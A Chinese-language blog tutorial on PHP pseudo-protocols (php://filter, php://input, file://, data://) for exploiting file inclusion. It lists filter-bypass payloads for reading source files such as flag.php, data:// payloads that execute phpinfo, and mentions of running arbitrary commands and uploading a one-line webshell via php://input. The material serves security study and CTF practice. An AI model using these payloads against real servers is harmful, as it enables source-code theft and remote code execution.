二、PHP伪协议

一、PHP伪协议

1.php://filter

应用场景:一般用来读取源码

php://filter:用于对流进行各种过滤或转换操作,可以作为一个中间流来处理其他流,可以进行任意文件的读取

// base64编码
//格式:php://filter/处理函数/resource=资源路径
$data = file_get_contents('php://filter/convert.base64-encode/resource=a.txt');
echo $data;
// 如此种场景,使用伪协议来读取
$lan = 'php://filter/convert.base64-encode/resource=a.txt';

include($lan);
// 结果:MTUxNTUxDQoxNTE1MQ0KMTU1MQ0KMjIzMg0K(再进行解码就能获取)

绕过(当可以使用php://filter,但是服务端又存在过滤的情况下可以使用下面的绕过):

  1. string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符
php://filter/string.rot13/resource=flag.php
// 如果flag.php存在<等某些特殊字符,可能会直接在服务端报错,压根执行不了,适合数字,英文内容的读取
  1. 大小写转换
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
  1. 字符串按要求的字符编码来转换
// 格式 php://filter/convert.iconv../resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-32/resource=flag.php
php://filter/convert.iconv.UTF-8.ASCII/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=a.php
// 支持的编码格式很多,可以在网上自行寻找
  1. 过滤器
php://filter/convert.quoted-printable-encode/resource=flag.php
// 可以使用quoted_printable_decode()解码
  1. 压缩
php://filter/zlib.deflate|zlib.inflate/resource=flag.php

php://filter/bzip2.compress|bzip2.decompress/resource=a.php

// 这样会自动去选择解压还是压缩可能直接显示明文

2.php://input

应用场景:一般用来执行php任意命令,在php安全策略配置出现问题时才会有此问题
php://input:一般配合post输入,它提供了一种直接获取 POST 请求数据的方式,尤其适用于处理来自客户端的原始数据,适合执行php文件

$inputData = file_get_contents('php://input');
echo $inputData;//用户post输入的内容

案例:

  1. 执行任意危险命令
    二、PHP伪协议_第1张图片
  2. 上传一句话木马

3.file://

应用场景:一般用来访问本地文件

file://:可以用于访问绝对路径和相对路径,当使用file伪协议时,可以指定文件的绝对路径,例如file:///path/to/file.php,也可以指定相对路径,例如file://relative/path/to/file.php

$content = file_get_contents('file://E:\phpstorm\test\a.txt');
echo $content;//文件被打印出来

4.data://

应用场景:与php://input类似,能执行php命令

前提:

allow_url_fopen :on
allow_url_include:on

使用案例:

data//text/plain,<?php phpinfo();?>
// 下面这条相当于对上面的<?php phpinfo();?>进行base64编码
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

你可能感兴趣的:(#,PHP安全,php,开发语言)